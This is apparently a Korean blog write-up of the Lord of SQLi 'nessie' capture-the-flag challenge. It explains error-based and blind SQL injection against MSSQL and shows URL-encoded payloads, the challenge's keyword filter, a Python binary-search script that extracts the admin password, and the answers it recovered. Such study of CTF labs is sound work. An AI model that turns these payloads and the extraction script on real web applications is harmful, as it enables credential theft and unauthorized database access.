nessie

이번 문제는 다시 DB 종류가 바뀌어서 MSSQL DB에 대한 문제다.


id 파라미터에 홑따옴표(‘)를 입력하니 “ODBC Driver 17 for SQL Server” 라는 에러 메시지가 출력됐다.
아.. ERROR-BASED SQLi 를 하라는 것 같다. (BLIND SQLi 도 가능해보인다.)


일단 MSSQL에서 쿼리 실행 시 오류를 유발하기 위해 아래 URL을 참고하여 공격 구문을 삽입하였다.


ERROR-BASED SQLi 만으로 문제를 풀어보려고 했으나 아래 문자들이 필터링 되고 있어 바로 테이블명을 확인하는 건 어려울 것 같았다.

if (preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['id'])) exit("No Hack ~_~");  
if (preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['pw'])) exit("No Hack ~_~");

오류를 유발하면 에러 코드가 발생하는 건 동일하기 때문에, Blind SQLi 공격을 진행해보자.
공격 페이로드는 아래와 같다. “admin” 계정의 패스워드 길이는 16으로 확인됐다.
(정말 “admin” 계정의 패스워드가 16인지 확인을 해보자)

(페이로드) ?id=%27%20OR%20id=%27admin%27%20AND%20(CASE%20WHEN%20LEN(pw)=16%20THEN%201%20ELSE%20CONVERT(INT,%20@@version)%20END)%20=%201%20--+


이 사이트(https://sqltest.net/)는 DBMS 별로 쿼리문을 테스트 할 수 있는 온라인 사이트다.
아래 쿼리문에서 볼 수 있듯이, MSSQL에서도 테이블에 저장된 데이터를 조회할 때 기본적으로 대소문자 구분을 안 한다. 때문에, “admin”, “Admin” 이라는 계정이 존재하면 “admin / Admin” 계정이 둘 다 조회된다.


필자는 처음에 아래와 같은 페이로드를 사용하여 “admin” 계정의 패스워드 추출을 시도했다.
그러나 이와 같이 페이로드를 작성할 경우 prob_nessie 테이블에 동일한 이름의 id 가 저장되어 있는 경우
id='admin' 조건에서 조회된 행의 “id” 값이 “admin” 일 수도 있고 “Admin” 일 수도 있었다.
( 백만번 돌려도 1123891a122f1b3e 결과가 나왔는데, 이건 “admin” 계정의 패스워드가 아니었다. 1123891a122f1b3e 는 실제 Admin 계정의 패스워드도 아니다. 왜냐하면 조회된 행이 1개가 아니라 여러 개이면 조건(ASCII(SUBSTRING(pw,1,1))<{임의 숫자})을 만족하는 모든 행을 대상으로 비밀번호 추출이 진행되기 때문이다. 예를 들어 “admin, Admin” 계정의 패스워드가 각각 01…, 12… 로 시작한다면 0은 ASCII 코드로 48이고 1은 49이다. 이 때, ASCII(SUBSTRING(pw,1,1))<{임의 숫자} 를 만족하는 모든 행을 찾게 되므로 특정 행의 패스워드가 아니라 항상 더 작은 값을 갖는 행의 패스워드를 조회하게 된다.

(페이로드) ?id=asdadasadas%27%20OR%20id=%27admin%27%20AND%20(CASE%20WHEN%20ASCII(SUBSTRING(pw,{i},1))<{mid}%20THEN%20CONVERT(INT,@@version)%20ELSE%201%20END)=1--+

따라서, ASCII 함수로 한 땀 한 땀 “admin” 과 정확히 일치하는 행에 대해서 패스워드를 추출하는 방식으로 수정했다.

import requests
import time
 
t_url = 'https://los.rubiya.kr/chall/nessie_7c5b5d8119ce2951f2a4f2b3a1824dd2.php'
cookie = {'PHPSESSID' : 'COOKIE_VALUE'}
password = ''
numValue = ''
 
for i in range(1, 17):
    low = 1
    high = 129
 
    while low <= high:
        mid = (low + high) // 2
        print(low, mid, high)
        payload = ( f"?id=%27%20OR%20(ASCII(SUBSTRING(id,1,1))=97%20AND%20ASCII(SUBSTRING(id,2,1))=100%20AND%20ASCII(SUBSTRING(id,3,1))=109%20AND%20ASCII(SUBSTRING(id,4,1))=105%20AND%20ASCII(SUBSTRING(id,5,1))=110)%20AND%20(CASE%20WHEN%20ASCII(SUBSTRING(pw,{i},1))<{mid}%20THEN%20CONVERT(INT,@@version)%20ELSE%201%20END)=1--" )
        r = requests.get(t_url + payload, cookies=cookie)
 
        if "ODBC Driver 17 for SQL Server" in r.text:
            high = mid - 1
        else:
            low = mid + 1
 
        if low > high:
            password = password + chr(high)
            numValue = numValue + str(high) + ' '
 
            print(f"Extracted admins password : \n\t[+] {numValue}\n\t[+] {password}")
            break
            
'''실행 결과
Extracted admins password : 
        [+] 49 49 53 100 56 100 49 97 52 50 50 102 49 102 51 101
        [+] 115d8d1a422f1f3e
'''

추출한 패스워드를 입력하면 이번 문제도 클리어 성공이다.


🐛.. 🐛.. 🐛..


번외

이번 문제는 에러 발생 시 에러 관련 정보를 출력해주고 있었다. 이 점을 이용하면 매우 쉽게 정답을 구할 수 있다.
prob_nessie 테이블에 저장된 pw 컬럼의 타입은 VARCHAR 이나, 입력된 값이 정수형이라 오류가 발생한다.
이 때, id 값이 ‘admin’ 에 해당하는 행을 바로 조회하면 패스워드 값으로 “5b23a92c1cbf4b8e” 가 출력된다.
이 값은 “admin” 계정이 아니라 대소문자가 섞인 “admin” 일 것으로 추측하고 있다.


(DB에 “admin” 검색 시 조회되는 행이 2개라고 가정하고 테스트를 해보자)
아래 페이로드를 전달하면 id 컬럼 값이 대/소문자 섞인 어드민(“admin” )인 행은 제외되고 계정명이 “admin” 인 행만 조회된다.
이 때 패스워드(pw) 자료형을 잘못 입력해 에러를 유발하면 그 행의 pw 값이 추출된다.

(페이로드) ?id='admin' and pw='1' OR id='admin' AND pw=1


블라인드 SQL 인젝션으로 값을 구했던 것처럼 id 컬럼에 저장된 값이 정확히 “admin” 인 행을 설정한 뒤에
오류를 유발해도 동일한 결과가 출력되는 것을 확인할 수 있다.


REFERENCE

  1. https://gent.tistory.com/692